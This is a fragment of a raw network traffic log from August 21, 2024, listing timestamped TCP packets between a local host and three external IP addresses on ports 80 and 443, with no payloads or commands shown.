Aug 21, 2024 08:32:15.429399967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429409981 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429419994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429450989 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429476023 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.429918051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429924011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429934025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.429986954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430017948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430042028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430067062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430073023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430083990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430094957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430107117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430111885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430114985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430115938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430124044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430155039 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430176020 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430181980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430187941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430192947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430197954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430203915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430219889 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430250883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430358887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430365086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430371046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430406094 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430413008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430418968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430425882 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430430889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430442095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.430463076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.430495977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.431212902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431217909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431229115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431233883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431238890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431248903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431263924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431267023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.431277037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.431314945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.431314945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457194090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457217932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457227945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457273960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457281113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457287073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457293034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457302094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457351923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457367897 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457396984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457451105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457457066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457468033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457473993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457484007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457490921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457504988 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457530022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457587004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457592964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457603931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457608938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457617998 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457640886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457668066 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457668066 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457700968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457706928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457720041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457724094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.457747936 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.457772017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458527088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458533049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458539963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458591938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458601952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458635092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458652973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458662033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458673954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458678961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458684921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458709002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458734035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458765984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458771944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458784103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458790064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458812952 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458837986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.458843946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458851099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.458889961 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.459287882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459307909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459314108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459359884 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.459383965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.459403992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459409952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459422112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459427118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.459459066 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.459482908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.464348078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464353085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464413881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464427948 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.464499950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.464507103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464514017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464526892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464561939 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.464598894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464605093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.464648008 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.466418028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466569901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466574907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466638088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466643095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466645956 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.466648102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466654062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466689110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466695070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466700077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466708899 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.466738939 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.466779947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466785908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466792107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466797113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466801882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466820955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.466856003 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.466856003 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.466856003 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487103939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487191916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487204075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487210989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487221956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487227917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487241030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487246990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487252951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487258911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487263918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487267971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487274885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487286091 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487328053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487366915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487373114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487375021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487402916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487407923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487447977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487495899 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487504959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487512112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487523079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487554073 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487658024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487663984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487683058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487687111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.487709045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487745047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.487745047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489103079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489109039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489120007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489187956 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489217997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489223957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489240885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489248991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489259958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489273071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489300966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489300966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489495993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489501953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489514112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489564896 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489634991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489641905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489651918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489656925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489661932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489669085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489706993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489706993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489756107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489761114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489773035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489777088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.489826918 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.489828110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.502054930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502062082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502079964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502127886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502130985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502140045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502146006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502152920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502172947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502192974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502211094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502217054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502228975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502259970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502274036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502279997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502286911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502293110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502321959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502330065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502336025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502373934 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502468109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502474070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502517939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502530098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502536058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502547979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502552986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502558947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.502579927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502599001 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.502998114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503004074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503011942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503066063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.503067970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503073931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503084898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503091097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503112078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.503129005 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.503155947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503161907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503174067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503202915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.503448009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503453970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503485918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503492117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503503084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.503509045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.503530979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.504182100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504188061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504199982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504244089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.504271030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504276991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504287004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504292965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.504323959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.504347086 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.505233049 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505269051 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505311012 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505319118 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505331993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505337000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505342960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505397081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.505397081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.505398035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505404949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505417109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505423069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.505428076 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505428076 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505440950 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.505460978 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.505615950 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505647898 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505678892 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505685091 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505700111 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505769014 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505811930 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505836010 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505841017 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505852938 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505873919 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505884886 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505902052 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505907059 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.505954981 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.505954981 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.506067038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506072044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506078005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506124020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.506148100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506154060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506179094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506184101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506194115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.506217957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.506225109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506231070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506242037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506270885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.506297112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506303072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506308079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506318092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506324053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.506342888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.506357908 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.506571054 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.506617069 CEST	49732	443	192.168.2.6	162.159.130.233
